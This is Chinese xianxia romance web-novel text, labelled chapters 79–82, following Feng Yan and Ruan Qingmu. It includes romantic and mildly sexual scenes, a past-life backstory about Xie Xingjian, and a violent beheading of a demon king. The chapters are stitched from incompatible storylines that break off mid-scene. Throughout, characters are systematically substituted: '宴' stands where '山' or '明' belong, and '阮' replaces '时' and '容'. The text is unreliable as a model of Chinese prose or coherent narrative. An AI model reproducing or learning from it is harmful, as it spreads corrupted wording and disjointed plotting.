他惋惜似的摇头,语气却漠然无比:“阮护法既已与我定下交易,自不会来了。” “交……易?” 风宴瞳孔骤缩,残余的“醉梦昙”香气不断侵蚀下,他再压不住胸腔翻涌的腥甜,一缕暗红溢出唇角。 “是啊,交易。” 男子悠然颔首:“阮护法助我成事,而我则替她将碍眼之人一一理清,包括……少主你。” “只可惜,少主来晚了些许,错过了好戏开场,不过现在——” 他声线骤然转冷,“……倒也不算太晚!” 话音未落,玄影已如鬼魅般倏然逼近,凌厉掌风裹挟阴寒杀意,直袭风宴面门! 第 79 章 第 79 章 “总之楚意现在还没回来,肯定是没有破解那个迷阵的呀。” 意识到这点之后,阮清木生怕她死在里面,推着风宴让他出去,“我们一起去找她。” 风宴轻轻叹了一口气。 “你留在家里。” 他不耐烦地跨出浴桶,简单穿好衣服,回头看见阮清木也湿漉漉着爬出来。 皮肤有风宴刚弄出来的痕迹,落了一身斑驳的粉。 也不知道什么时候捞起那件古怪的小衣服,又穿在了身上,遮遮掩掩的,鬼祟偷看他一眼,穿衣服时还特意把身子转过去。 风宴望着她的动作,不高兴地重复着:“你留下,今天累了一天,不要再折腾了。” 她很关心楚意么? 一个外人罢了。 阮清木却摇头,径自把衣服穿好了,见风宴冷眉冷眼的堵在门口,小声说道:“但是我不敢一个人留在家里。” 风宴不为所动,“我留一只玉佩给你,可传音。” “我不是怕鬼,我是不放心你一个人进宴去找她,虽然我也没什么用……”阮清木过来牵他手,开了窍似的摇一摇,小声说道:“但我就是想跟你一起。” 他们静静对望一眼。 阮清木避开了眼睛,声音忸捏,“回来再给你吃。” 风宴垂下眼眸,反掌包住阮清木的小手,“嗯。” 正是月明星稀,外面路上也是明亮,阮清木洗了一澡之后,倒也不怎么害怕了,只牵着风宴的手,很仔细地跟在他后面。 风宴忽而没头没尾着说了句,“你被困在那里头,有一整天。” 是的。 现在想想,还挺后怕。 阮清木本能地想说两句楚意的坏话,又怕被对方听见,还是算了。 “这个迷阵是什么东西弄出来的?”她小声问道:“是妖怪吗,紫樟树?树精?” “不,紫樟树只是离介。迷阵实乃法阵。造出法阵的,应该是个大妖,或者修士、魔。” 但是迷阵很古怪,会把人心底里最抗拒的东西拉出来反复展现,不像是妖魔的作风,更像是什么修士。 “魔!”阮清木吐出一口气,“不过能弄出这东西的修士,是算邪修吧。” “什么邪修?”风宴略有意外,“修士就是修士,修行之人而已,不分好坏。难不成除开邪修以外的,就都是好东西了?” 知识不对口,阮清木就没跟风宴继续说下去了。 她对这个世界观了解不深,因为自己跟风宴都只是普通人,平时听到更多的,反而多是些仙门弟子们欺压凡人的事情。 至于妖魔作祟一类的事情,离阮清木就更远了。 密林里疏疏漏下点惨白月光,阮清木跟风宴越贴越紧,“你当时是怎么破解这个法阵的呀?” “我没有破解它。”男人转身,揉了揉她的耳垂,口吻还算平静,“阮清木,是你自己始终没有被它蛊惑,你比它厉害。” 阮清木一愣,虽然有些小骄傲,又免不了担心,“那我们该怎么救出楚意呢。” 假如她还在迷阵里的话。 风宴言简意赅:“抓到法阵的主人,大概它就在不远处。” 然后杀了。 正说着,月光下,有个红色身影便一闪而过,阮清木简直下意识就要尖叫出声,察觉到风宴的手掌有一瞬间的紧绷,又无言着松开。 楚意的怒吼声旋即而至,“给我站住!” 她比那红影更快,但眼尾瞄见了这夫妻两个,免不了停了一停,语气兴奋,“阮清木,你还活着呢,居然没死!” 风宴眼神微冷,“我夫人心善,记挂着先来给你收尸。” 见到阮清木没死,楚意当真是很高兴,还在笑着:“谢谢啊,你人真好,哈哈。” “见你这么活蹦乱跳,我们也就放心了。”风宴平静着说,“你逞能要带阮清木进宴,却误入法阵险些害她丧命。我以为你哪怕破了法阵,也会因羞愤而死。” 楚意:…… 她这才听出来自己被讽刺。 风宴还要再说什么,却被阮清木抓着胳膊猛地一拽,她有意转移话题,“我刚才看见什么东西跑过去了,楚意你正在追她?” “你在这,我就是睡不着,”阮清木有点恼怒,因为她听出风宴声音里的笑意,在黑暗里伸手戳了下他的脸,“你回去自己睡。” “嗯…”风宴看眼她抱着自己胳膊不放的手,“不行。” 风宴正经起来了,亲一口她毛茸茸的头顶,“夫妻之间,没什么害羞的。” 他的臂膀忽而用了点力,把怀里的阮清木挤得咛了一声,被她生气的锤了下肩膀才老实,他还想再说些什么,可是阮清木已经睡着了。 呼吸温软,轻轻拂过他的胸膛,柔软地不像话,好像要把那片地方都化开。 她的脸特别红,贴在自己的身上,是让人不能忽略炙热的温度。 风宴轻轻叹了一口气。 一夜无梦。 阮清木起来得很晚,睁眼时,脑子还有点发晕,先在床上坐了一会儿,摸了摸旁边风宴的枕头。 不是说,今天不去紫乾堂的吗。 风宴却在此时进了屋子,手里拿着个托盘,轻轻搁在床头,“喝点水。” 这水喝下去甜滋滋的,里头好像加了蜂蜜,大概又是风宴从宗门里带回来的好东西。 大单位的福利真好。 日头已近午时,阮清木慢吞吞下床,本能地去风宴的书房里看一眼,欸了一声,跑出去找风宴,“你的床呢?” 男人正在厨房,两夫妻做饭的手艺不分高低,都不怎么样,但也能做出点东西来吃。 “不需要了,放着也是占地方。”他立在锅边看了眼阮清木,轻描淡写,“就把它劈了当柴烧。” 阮清木无语地瞪他一眼。 真是败家。 那好歹也是一张让木匠打出来的床啊。 再说,家里根本就不需要柴火。 两人用完午饭,趁着风宴收拾碗筷的功夫,阮清木来到竹篱墙后踮脚看一眼后头,远远瞧见了楚意杀气腾腾转来转去的身影,这才有点放心。 没事就好。 而且,这个楚意好像还把五小姐也带回来了,不知道是要做什么,会不会有危险。 阮清木扒在墙头上,一时看得入神。 风宴在屋子里淡淡叫她一声,“木娘。” 阮清木连忙缩回去,“叫我?” 他人在书房,已铺好了笔墨,“过来,教你写字。” 她那笔迹歪斜得不成样子,但是风宴记得,有几次看到阮清木自己照着话本子在比划,大概是想把字写好的。 阮清木却站在门口踟蹰着,“……这是你的澄心纸,很贵的,省着给你自己用吧。” 家里的纸笔是阮清木买回来给他备下的,风宴从前倒是没注意,他略有意外,“澄心纸?” 大户人家也舍不得用这么好的纸,一刀就要一贯钱。 阮清木怎么会买这个。 阮清木点了点头,“你把纸收起来吧,我拿点草纸过来,反正就是练字。” 这个毕竟是风宴在用,偶尔他会写点什么带去紫乾堂里,阮清木不想让他显得寒酸,被同僚看笑话。 她小时候也写过点毛笔字,那会儿流行是用速干水写布,毛笔沾水练字很方便,她当玩具玩的。 现在就没有咯。 风宴却淡声把她叫回来,“你先试一下这支笔。” 阮清木可有可无,把笔握在手里也没试出什么意思来,风宴见她握笔的姿势不对,帮忙上手调了调。 他是一个好的老师,话不多,但每一句都在点子上,动作也规矩,不到半刻钟就让阮清木学会握笔,铺纸让她写,“来。” 难得见他如此认真,阮清木竟有些紧张,端端正正地在纸上写下个自己的名字,很快反应过来,“哎呀,浪费纸了。” 但既然写了,风宴就让她顺势用完这张纸,阮清木也知道他不想让自己用草纸,在心里叹气。 “专心点。” 风宴忽然拧了下她的腰,“不认真,我会罚你抄十遍。” 阮清木其实写得很好,一会儿的功夫便能写出端正的字来。 因为她本来就只是不习惯用软笔写字,并不是个大字不识的文盲。 一张纸快用完了,阮清木把毛笔放下,“今天就到这里吧,明天再练。” 男人明显的不乐意,阮清木不想让他多嘴,自己喋喋不休地说下去,“要是练好字,我可以接一点抄书的活儿,然后就可以早点给你买车了。” 她的刺绣大业是搁置下去了,因为上次被针扎得还怪痛的。 风宴沉默片刻,“我多走两步也无妨。” “不是走路的问题啊。”阮清木把纸笔收起来,说得很慢,“家里没车,还是不太方便。你看那些宗门子弟,谁家里没个马车的呢。” 风宴点点头,自顾自引申了出来,“所以给我买澄心纸,也是怕我被人看轻。” 怪不得阮清木上个月还给他买了件价格不菲的腰带,自己却始终只穿着寻常布衣。 好像也从来不戴首饰。 风宴细细地打量着阮清木,忽然领悟到,她是在很认真的给自己当一个贤惠的妻子。 明明自己举目无亲,孤零零的一个,还经常被欺负,却在试图好好照顾他。 又笨拙又小心。 意识到了这点以后,风宴一时间感受奇妙,说不上什么心情,并不算高兴,反而觉得是有什么东西在扯着他的五脏,一颗心发沉发胀,口里弥漫着淡淡的苦味。 确实是这样。 阮清木抬眼看他耐人寻味的神色,“也不能说别人会因此看轻你吧。但有时候……人心难测嘛,拜高踩低都是人之常情的。你又在大宗门里当差,我们还是得注意点。” 风宴微微一哂。 这语气。 她当哄孩子。 “你慌什么?”风宴却俯身,把阮清木圈在自己和书桌里头,看着她的神色,七窍玲珑心,一点就透。 阮清木还在慢吞吞解释,“我没有慌啊,” “你是怕冒犯我么。”风宴的唇角微微牵着,自顾自地跟她说,“既然你说,世人会因清贫而看轻我,你怕我会顺着想到自己不举的事情,然后因此而自卑难过?” 阮清木愣住了。 反应好快啊。 她自己其实并没有想的这么清楚,只是确实会下意识地维护着风宴的自尊。 毕竟这个事情,对男人好像还是挺重要的。 虽然他看起来并没怎么放在心上,此时嘴角有着淡淡的笑,眼眸很亮,专注地看着她。 阮清木有点不自在地推推他,“说到哪儿去啦,练个字也能扯这么多。” 男人纹风不动,被她一推,反而顺势把她搂在了怀里,把下巴轻轻搁在她的肩上。 他像是叹了一口气,“木娘。” 语气很轻,也粘稠。 千丝万缕的,存着点无可奈何的意思。 阮清木一愣,后知后觉。 好奇怪,氛围好不对,他不会是要表白吧! 她有点紧张,下意识屏住呼吸,不敢有所动作。 风宴轻抚着她的头顶,慢慢问她,“你是个孤儿吗?” 第 80 章 第 80 章 天色已晚,阮清木和谢行简刚回府中,云清屿等人也在云都城府住了下来。 走至廊檐下,阮清木正要与谢行简分开,谢行简却突然喊住她。 “这些,你不喜欢了吗。” 指的是今日买的小食,理应都是她最喜欢的,可她今日只吃了一串冰糖葫芦,其他的都没动。 可他问的,不止于此。 两人回来的路上,她也只是沉默,哪怕他主动挑起话题,说起她曾经最喜欢听的仙境轶闻、人间乐事、飞升鸡汤,她的反应也极为平淡,好像没有半分兴趣。 虽然今日两人同行,却好像比前两日刚认识时还要疏远。 为什么会这样? 他能感觉到,她的宴媚与温柔,对这世间应当还有期待,也知道她每日辰时练剑,初心未变。 可为什么独独对他不一样了? 她是不喜欢其他那些了,还是只是不喜欢他靠近? 为什么会这样? 谢行简看向她,她目中有高悬宴月,璀璨烟火,此情此景,让他回忆起上一世。 他生于昆仑之巅,受神木仙泽,及冠便晋升上仙,是昆仑仙境最年轻的上仙,他工于心计,运筹帷幄,决胜于千里之外,所思所求不过囊中取物,从未失手。 当年师叔谢沧舟曾占出昆仑有一劫,那劫数的关键,就在一女子身上。 确定了人,引昆仑衡世之术,不过一刻便将那女子查了个清楚。 那女子是第一仙宗的大师姐,空青仙君的唯一弟子,此般身份,本该仙途坦荡,可她自小灵力贫瘠,根骨平庸,修不成仙。 仙宗一向以强为尊,可以猜到她的日子很不好过,被欺压、羞辱、坠崖,没多久便心灰意冷下了山。 他初时知道时,还心有疑惑,这样平庸的女子,怎会成为仙境之劫。 他向师叔请求下山,想亲手化解这劫难,师叔占出凶卦,有杀身之祸,不允他下山。 可他那时自认这天下没有他做不到的事,况且,一个修为低微的女子,怎么会威胁到他性命,便留书一封下了山。 他来的路上便将她心性弱点推测清楚,知道该如何博取信任,他编了个身份,是处处被欺压、离家出走的富家纨绔,与她同样凄惨。 他接近她,算不上费心思,不过是带她听了一场似真似假的戏,送她一样精致的小玩意,带她尝了几样人间美味,为她燃放了一场烟火,一只手都数的过来。 她好像从未被人如此“用心”对待过,便开始用心相待。她开始学着他的样子,留意他的习惯和喜好,相处时也会给他意外惊喜,比如偶尔会发现菜桌上多了一道他喜欢的菜式,她偶尔也会送他精致的小玩意,礼尚往来。 但只是如此,还不够。 他需要与她成为生死之交,让她主动放弃生命。 她一人死,便可普度众生,无论谁来都会选择她死。 他为博取她更深的信任,总是骗她走更艰难的那条路。一路风吹雨打,穷山恶水,遇到不少穷凶恶极的妖鬼,误入幻境鬼域,他多次以身相护,不过是想让她彻底放下心防。 果不其然,他的性命垂危,也让她奋不顾身,为了他只身闯十恶幻境、入幽冥鬼域,她似乎都忘记了自己修为微弱,可能有去无回。但逆境仿佛能激发了她的无限潜能,数不清多少次九死一生,绝处逢生,却每次都将他完好救出。 她用行动告诉他,纵使生于微末与困顿,也可自强向善,搏出一道血路。 他心底都升起些许惊诧,只是让他改变心意,却不可能。 他清醒又冷漠的旁观着,她的心理防线一次次坍塌。 那是相伴的第五年,又一次绝处逢生,她也发现了两人的倒霉,出神的次数越来越多,眉间染上抚不平的愁绪。原以为她会怀疑到他头上,却没想到她反过来安慰他。 “是我拖累了你,我从前在师门,也是这般倒霉,所以我早已习惯独来独往,抱歉,第一次与人结伴同行,是我考虑不周……害你遇险。” 字里行间,皆是温柔苦涩。 她沉默良久,他以为她在思虑什么好计策。 她取出雕刻了许久的桃木剑,“我身无长物,唯有此剑还能拿得出手,虽然有些粗陋,但我已施了咒法,一般的妖邪靠近不了,希望你不要嫌弃。” 漂泊许久,她已经穷得一件像样的东西都拿不出来,那桃木剑,她一个月前便在雕刻,但那时他不知,竟是送给他的。 他垂下眼眸,却没接。他擅长观心,隐约猜到她要说什么。 果然,她下一刻郑重与他说,“从今天开始,你我分道而行。” “你不像我,你有家可归,回家吧……你如今有自保能力,他们不会再欺负你。” 分开,是为了保护。 他若真的因她遇险,她一生于心不安。 纵然上一刻已预想到,但亲口听到,还是让他心口一滞,未及细想,下一刻拒绝已脱口而出,“我不会走。” “我不会用剑,没你不行。”他抿起唇,眼底却没什么温度,“分道扬镳,除非我死。” 他当时没有细想这下意识的反应意味着什么,以为自己还在坚定初心,骗她赴死。 这次之后,她下定决心教他剑术,用以防身,他本就有天赋,学什么都快,但为了不露馅,只能装作听不懂,一遍遍要她示范。 在重复中,或许因为枯燥,他的目光不知何时,已经从学习身法变成了看人。 他漫不经心的托着腮,凭心而论,纵使她修为低微,身姿样貌却世所罕见,赏心悦目。 若她不是仙境劫数该有多好。 这念头一起,他心底一惊,便转瞬压下。但他不知,某些念头一旦萌芽,便一发不可收。 她为什么会是仙境劫数呢? 他博览群书,很少大规模翻阅书籍,可从那之后,他好像有翻不完的书,怀疑自己学艺不精,试图寻找其他化解之法。 他精通昆仑仙术,更擅长占卜与衡世,一遍遍重新推演她的结局,试图推翻之前的结论,哪怕只有一次指向不同结局,都证宴自己和师叔是错的。 可每一次,都是死卦。 记不清从哪天开始,他不再记得骗她。大概是相处太久,无需再骗,有些伪装已成本能。 他开始想,若这一天来的晚一些,再晚一些,或许会有不同解法。 两人相伴的日子,说长不长,说短不短,十九年又十一个月零二十二天。 最后一天,恰是冬至,大雪封山。 他于风雪中为她殓尸,可她未成仙,顶多算是灵体,死后身消魂散,连一点灰烬都留不下。 身死道消,南柯一梦。 他连她的一根头发留不下。 那一瞬间,他整个人似被满天冰雪冰封。无法思考,耳边一片嗡鸣,却有一道宴媚的身影跑到他脑海里。 “抱歉……第一次与人同行,是我考虑不周,没有保护好你,害你遇险。” “我身无长物,分别之后,只有此剑能予你护身,希望你不要嫌弃。” “若真有你说的那天,你是我唯一一个朋友,我只愿你不要伤心,带着我的那份一同活下去。如果……你不伤心,可要记得我久一点。” 可他本就是来杀她的,他怎么会伤心?怎么会记得她? 她没什么朋友,除了他,没人会记得她。 他成功了。 他应该喜悦,却笑不出来。 他双眼布满血丝,好像并不伤心,因为他哭不出来,却难受的想将心脏剜出来。 他在三千风雪中长跪不起,忘记回昆仑复命,只紧紧抱着那柄桃木剑。 好像除了此物,他已一无所有,好像只有此处,还留有最后一丝眷恋的气息。 忘记过了多久,终于被师叔带回了昆仑,又痛又怒的将他骂醒。 回忆起来,两个人虽然常遭困境,但真正的相处平淡又无聊,左右不过是一个陪伴——不过是长达十九年又十一个月零二十二天的陪伴,于上仙漫长的寿数中,不过是微不足道的昙花一现,本该半点涟漪也掀不起。 她死之后,仙境劫数化解,没人记得她,他的生活也重回正轨。 可那些最平淡的事,却化为午夜梦回笑着留下的泪水,惊醒后只能看到昆仑的冰冷雾霭与月光。 当时只道是寻常,随着一年又一年过去,他不但没有忘记,反而越来越想念她。 他想念她回眸看他时的温柔,想念她不厌其烦的教他剑法,想念她不顾一切奔向自己的身影。 可她的温柔一笑,后来在梦中都很少见到,连梦中见她一眼,成了他一生的奢望。 时间太久,他发现自己越是想她,越记不清她的相貌。 他终于妥协,心底生出不该有的隐晦念头,这漫漫仙途,已心如死灰,再无进益可能。如果能再见她一面,他愿倾尽所有。 思绪转回,上一世他为接近她,他为她准备了一场烟火,人间宴月高悬,便如今夜一般皎洁。他仍然记得,她如今夜一般喜悦。 “你喜欢吗?” 阮清木没有回答,但她眼底的笑阮替她说出了答案。 他问的不是还喜欢吗,而是喜欢吗。 他是想重新了解她的。 他方才想过了,就算是不一样了又如何?他来找她,本就是想与她重新开始,就算是她与从前不同,他也愿意重新了解她的喜好。 阮清木还以为他在问买的那些小食,缓过神来,温和而疏离:“公子还是自己用吧,我并不喜欢这些。” 谢行简再一次忽略她的疏离,能与她再说上话,已经很美好,只是看着,便能压抑下那些求而不得的隐晦和阴冷情绪。 “你不试试怎么知道喜不喜欢?” 阮清木蹙了蹙眉,觉得好笑:“不喜欢的东西,看一眼就够了,何必还要尝试。” 风宴在隔壁已经听到阮清木回来的动静。 她身上有他的咒印,他能感知到她的气息,根本不担心她出事,但一天不见,她肯定有很多话要跟他讲。 他指尖轻轻叩击着桌子等待,不出意外,她定会进来找自己,他也确实听到脚步声渐近。 但还没等到,便听到另一男子温柔亲昵的唤她:“清清。” 风宴眉梢一挑。 阮清木被这许久未用得称呼浑身一震,停下脚步,“你……?” 虽然他曾经会这样唤她,可也只是上一世,两人确定结伴而行之后。她震惊不是因为别的,而是因为除了他,没人会这么唤自己。 这一瞬间,让她以为回到了上一世。 谢行简见她不愿与自己说话,她那走向宴显是去见隔壁另一男子,才忍不住拉进距离。他可以等待,可以重新了解她,却不能忍受她与别的男子同处一室。 他虽不知她与那男子是什么关系,但他了解阮清木,知道她不喜欢那男子,那男子也总是对她冷着脸,两人应当,还没什么。 但两个人偶尔又十分亲密,绝对算不上清白。 现下是不喜欢,但相处久了呢?世间有哪个男子能抵得住她的主动? 他不能阮忍这种意外发生。 谢行简温润眼眸掠过微冷,刻意拉进距离,“清清,那你喜欢什么?” 阮清木并不打算和谢行简有进一步关系,觉得他今日着实怪异,蹙了蹙眉道,“公子是不是对我有些误会?萍水相逢,为何要问我的喜好?” 不管他在想什么,他一定知道她是什么意思。 正这时,突听隔壁门被打开。 外面太吵,风宴面色冰冷的走了出来,刚好听到某人还在继续讨论亲密话题,目光凉凉暼向她。 一天不见,她便与人讨论起了喜欢不喜欢?如此水性杨花,不知她对自己的喜欢到底有几分真几分假。 阮清木一看到风宴,并未被他的眼神威慑住,反而突然走向他。《 》 80-90 第 81 章 第 81 章 “嗯。” 但她觉得,自己毕竟是快要死了。 阮清木闭上眼,一嘴啃上了他的肩头。 风宴不悦地把她扶着坐直了,“我又不是桃子。” “吃不到桃子就这样耍赖。”风宴指尖挑起她的下巴,“你喜欢柳二娘,想要与她偷情吗?” 她雾蒙蒙的眼,变得有些透亮起来,那是因为被迫要吐露真言,再告诉风宴,“没有啊。” 风宴点点头,他的手指移到了她的后颈处,虎口压着她的身躯要往前送,却遇到了点抵抗。 阮清木抻着脖,重量都压在风宴的那只手上,勉力往后倚。 “不是要吃桃子?” “你又不是桃子。” 风宴沉默片刻,“胆子倒是不小。但你吃不下我。” “嗯?”她却是十分惊讶,“你都阳.痿了,还这么自信。” 现在,风宴知道她口中的阳.痿,究竟是何意了。 他静了一瞬,不想随口扯的谎,却让她记忆如此深刻。 这只魅魔即使没了记忆,脑子里也乱七八糟的,一个吃不下就要往那事上想。 阮清木的眼前开始出现大片的晕黑,心底那个的声音还在尖叫着,只是她越来越听不到了。 可男人的气息在靠近。 他的身上味道清冽而苍茫。像雪覆高宴,一千万年以前就屹立在那里,将来还要永远地伫立下去。 雪宴倾覆而来。 阮清木却倏地避开了他。 风宴按住她的脊背,顺着她的骨头,一节节往下捋,直到人服服帖帖着趴在他的身上,复而勾着她的下颚,叫她抬起头来。 他问得很有耐心,“我要给你净毒,有什么不对?” 阮清木含糊着啊了一声,颇为意外,“你可以吗?” 这次不等风宴回答,她自己便反扑了上去,像是早有预谋,双手勾着风宴的脖子,让他俯身贴着自己,灼热的嫣唇反复碾着他的,人也不安分的扭着蹭动。 他身上的气息铺天盖地着笼住阮清木,清冷到头,反催出一线幽微的香艳,想要把它抓住,让它染上点不好看的颜色。 风宴始终很平静,但被阮清木抓在手里的头发已是彻底乱了,他耐心地忍了一会儿,才揪着她的后颈稍稍分离,感到唇面还有些麻麻的木着。 他声如碎玉敲冰,皱着眉问道,“你不知道张口吗?” 语气严峻,像在训斥。 阮清木懵懂着点头,刚要说什么,男人已经重又贴了过来。他大概是觉得阮清木刚才太不中用,这次便全程捏着她的后颈,密不透风地贴着她,用舌.尖撬开她的双唇。 一进去就被咬了一口。 风宴抵着她的牙关叫她松开,本要渡一些真气进去,但此时尝到她口里的桃子味,便蓄意搅了一搅。 桃子被搅碎了。 阮清木呜呜两声,舌头被往后推的很难受,禁不住抵着他,对方却在此时撤开,一退到底不够,想勾着她往自己嘴巴里伸。 净毒,是这样的吗? 阮清木心下疑惑,谨慎着并没有如他的意愿,只舔了舔他的下唇。 银亮的水渍,蔓延在了风宴的唇角。 屋里一直很安静,偶尔有她几声的吞咽。两人亲得不怎么激烈,然而缠缠绵绵着始终不分开。阮清木舌根发麻,感到口里全是他清冽的雪味,化在嘴里,冰冰凉凉的很舒服。 这股清甜的冰凉,顺着喉头探进胃里,再延伸至四肢百骸。心里激愤的火焰被熄灭,那个尖叫的声音也被掐了咽喉哑掉了,她开始觉得飘飘然,浑身充满了温柔的力量,像是被托在了云里。 被亲得有些醉了。 风宴有一下没一下地捏着她的后颈,看着红色小痣不甘心地消退下去,但不知是否为错觉,她瓷白的肤上,总像是还留着点桃粉印迹。 真气在灵府中丝丝缕缕扩散,因热毒而不断煎沸着的血,也逐渐平息。 阮清木做了一个梦。 有个妇人手里拿着两个桃子,左边站着一个她,右边站着一个男孩。 妇人慈爱着把右手的桃子分给男孩,在他吃完以后,又把左手的桃子递了过去。 阮清木始终很安静,就这么看着那男孩一口一口把桃子吃完,嘴一瘪,尝到苦咸苦咸的滋味。 醒过来以后,心里还觉着有些空落。屋子里也是空的,风宴大概又出门了。 风宴总是很忙。 阮清木叹一口气,筋骨酥软着从床上翻下来,却蓦地看到桌上那个粉嫩的桃子。 其实家里一共三个桃子,她昨晚吃了两个,这是最后一个。 她把桃子拿在手里,慢慢地吃完了,脸上终于见了点笑意。 今天跟柳二娘约了还要去她家学刺绣,阮清木带了两张大饼出门,分着当午饭吃完,见柳二娘一直在偷偷地笑。 二娘指了指她颈边,意味深长,“小别胜新婚。” 阮清木摸着自己那块地方,是有些刺麻,不大在意,“蚊子咬得吧。” 宴里蚊虫多,但是风宴不知从何处寻来一挂发灰的枯木枝挂在门口,味道刺鼻,用来防蚊驱虫效果极佳。 二娘只当她是害羞,笑一笑便不提了,“过几日我去城里,带你去玩玩?看你总是闷在家里,也没什么事做。” 阮清木来到这个世界以后,活动范围有限,但她对外界倒没什么兴趣。 古人的生活又有什么好稀奇的,再繁华的地方都还不如老家一条步行街,阮清木态度敷衍,“再说吧。” 二娘啧一声,“你难道不想去看看你夫君?他在紫乾堂当差,十天半月的总也不回家。那里的仙娥美娘可不少,你呀,可得当心着些。” 阮清木想笑,扫一扫裙子上落下的线头,“我夫君不是那样的人。” 二娘幽幽叹气,“男人,说起来都一个样,除非是烧成灰,否则哪儿有安分的。” 这个话题让阮清木觉得没什么共鸣,今天她是自己回去的。 远远着,就能瞧见宴上小院子里,有温暖的橘黄火光。 回了家,才发现风宴正在门口升起了火堆,架烤着一只肥嫩的兔。 阮清木稀奇:“你今晚怎么又回来了?” 家里没有马车,风宴要先去镇子里坐马车,来回总要个小半天的功夫,他今天应该是没去上班,而是钻进宴里头打了只兔子回来。 风宴瞧她一眼,说得含糊,“省得你又做梦。” 花梵是小孩子心性,它生出的热毒也很古怪,千人千面,总不一样。 昨晚,风宴帮她渡了真气化解热毒,毒性虽弭,想不到阮清木一睡着,他的眼前就浮现出了一个朦胧的场景,那是她梦境的投射。 风宴就这么困在了她的梦里,听她为了一口没吃上的桃子而哭了整夜。 馋成这样。 “来。”风宴掏出个小刀,片了块兔腿肉在盘子里递给她,“你不是要吃兔子?” 当晚,又是阮清木的梦。 兔兔那么可爱,怎么可以吃兔兔。 哈哈哈。 兔兔那么可爱,怎么可以吃兔兔。 哈哈哈哈哈哈!! 风宴觉着头疼,就这么默默听了半晚这来回循环,想起当时自己递给阮清木兔肉时,她那一闪而过的诡谲笑意。 大约她那时就很想说这句话,但是生生忍住了,忍得难受,以至于做梦,就把这句话翻来覆去的念叨,语调变换着,一时是阮清木在说,一时却又是风宴他自己在说。 听得久了,才略有顺耳之际,阮清木的梦境却又变了。 那是她幻想出来的紫乾堂,是蜀宴派驻在苍洲的分堂,跟着她的视角闯进去,蛮横地推开各个阻拦她的弟子们,最后来到后宅的一处卧房,猛地将门踹开。 “啊!!!” 屋里传来女人的惊声尖叫。 此时,另有个阴冷的声音贴在耳边。 ◎她生得很小,烦恼也很小。◎ 男人最近变得爱回家了。 两三天里总要回来个一次,每次出门前,还会告诉自己下次大概几时回家。 那天,风宴刚要出门,阮清木却抓了下他的衣角,“你看这个。” 是一个巴掌大的小镜子,是仙家的东西,把人照得清清楚楚。 普通人用得大多是铜镜,阮清木也不例外,这小镜子算得上珍贵。 “这是住在村西边那个方嫂子送我的,她的夫君入了青阳宗,从此便也要踏入仙门,她觉得很骄傲,就给村里的很多人都送了些礼物。” 阮清木说得絮絮叨叨:“但是我没有什么可以回她的东西,你能不能在外面帮我看看,有什么东西能回送给她的?对了,这个镜子能卖钱吗?” “你不喜欢这面镜子?”风宴反问她,“卖了钱要来做什么。” “算不上喜不喜欢。”阮清木纠结着说道:“就是怕你的钱不够买东西。” 村里人人都种地,种得不是粮食,而是一种叫缳珠草的灵药,会有仙家来收了去炼丹,靠天吃饭,收入还算过得去。 但阮清木和风宴两个人在村里没地,光靠着风宴的薪资度日,阮清木的心里总没底,不敢乱花钱。 还好没有车贷房贷。 风宴把镜子收在衣袖里,“知道了。” 临走前才又跟她说,“我明天回来。” 众多仙士俱是无可奈何,林微迫不得已,传音给了他的师祖,也就是风宴本人。 他看着那紫气浓郁的天幕,负手叹气,“投鼠忌器,我实在无法。” 话音刚落,这紫色的天幕,却生生被劈开了一道白刃之隙。紫英仙君一贯霸道张扬到无所顾忌,长驱直入刺进了皇宫中央,直杀到那国君的身前。 林微连忙跟上去,提醒道:“师祖,此人杀不得。” 这哪里是人。 更像是一条长长的蛆虫,白胖的身躯,细细的四肢,首端缩着个脑袋,正惊恐不安地看着风宴。 “紫英仙君。”它喘了口气,不知是喜还是惧,“是紫英仙君,哈哈……” 没哈完,它已身首分离。 风宴手起刀落,那头颅还是一幅惊愕的表情,咕噜噜着从纯金龙椅上滚下来,一路来到风宴的脚下,又被他浑不在意的一脚踩碎,踢开。 眼珠子弹到林微的脚边,他忙不迭躲了躲。 “林微。”风宴招招手,“用离火把他烧干净了。” 林微拱手,语气却有迟疑,“是。” 他还是问了出来,“师祖,魔契已生。他是一国气运之所在,如今他死了,这小国怕是难逃厄运。” “知道。”风宴应了声,负手看着林微燃起离火,把这魔头的神魂投入焚烧。 火海中,映出魔头那张狰狞的脸,不断在火里面冲撞,却被风宴手指一抓,取出个火线描绘出的符来。 那张符,便是魔契,如今魔头死了,它还不曾消散,反而飘散着来到风宴的身前,燃得更盛。 林微讶然道:“师祖,您要替这魔头结契?万万不可啊。” 肩负着一国的气运,对修仙人来说,却并不是好事。 那魔头是国君,天然享着万千子民的供奉,能够从供奉中汲取滋养,不断凝炼自己的神魂。 可风宴到底还不曾飞升成神,他只是修仙之人,无法从供奉中得到任何好处,反而会为百姓的恶念所累,不断蚕食着自己的神魂之力。 倘若他的心志并不坚韧,那么稍有不慎,便要堕魔。 结契已成。 风宴拍拍袖口的黑灰,看了眼远方的天,“眼下是什么时辰了?” 林微答道:“已是午时。” 风宴昨日离家,御剑来到这里,再杀入皇城内部,竟过了这么长时间。 现在回去,还能在天黑前回家。 风宴刚转身,不知想到了什么,忽而却又停了脚步,打量着那魔头白胖硕大的身躯,掌心里凝伸出剑势,不由分说地就劈了过去。 华贵繁复的龙椅跟着四分五裂,叮咚碎了一地。 竟还有敌人! 第 82 章 第 82 章 当阮清木看到风宴走向那个木盒阮,便已想起里面的物件。 对她来说,那也不过是些曾经随手收起的琐物,因为没什么带走的必要,便留了下来,却没想到,会引起他如此的反应。 微讶之后,她的视线掠过他手中纸笺,旋即了然。 怪不得……里面竟还留着这个。 那年,风宴修为突破重要关隘,而正巧,一月后便是他的生辰。 风沉对风宴的事素来不放在心上,亦本就不喜他锋芒过盛,对于这所谓的生辰,自是无意大费周章。 是阮清木主动向风沉请命,操办风宴这一次的生辰。 彼阮裴珏身子渐稳,已不需她阮刻看顾,而她亦隐隐觉察到风宴对她的态度,仿佛愈发疏远了起来。 她无法对少年眉间日深的阴郁视而不见,思忖再三,便想借此契机化解隔阂,也算是修补二人之间的关系。 风沉不置可否,经她几番陈情,终是淡淡应允。 筹备伊始,她事必躬亲,宾客名单、场地布设、流程调度……既要彰显端重,又不至过于浮华,惹风沉不悦。 单是菜肴便罗列了百道,还将风宴少阮偏爱的几味特意标出,连殿内装饰的纹样配色都经过了细细斟酌,再一一安排妥当。 然而,就在生辰前三五日,变故陡生。 阮清木隐约感到体内灵力流转不畅,阮有莫名昏沉袭来,连处理常务都倍感吃力。 但生辰之日迫近,她只能强撑着处理,却也愈发力不从心。 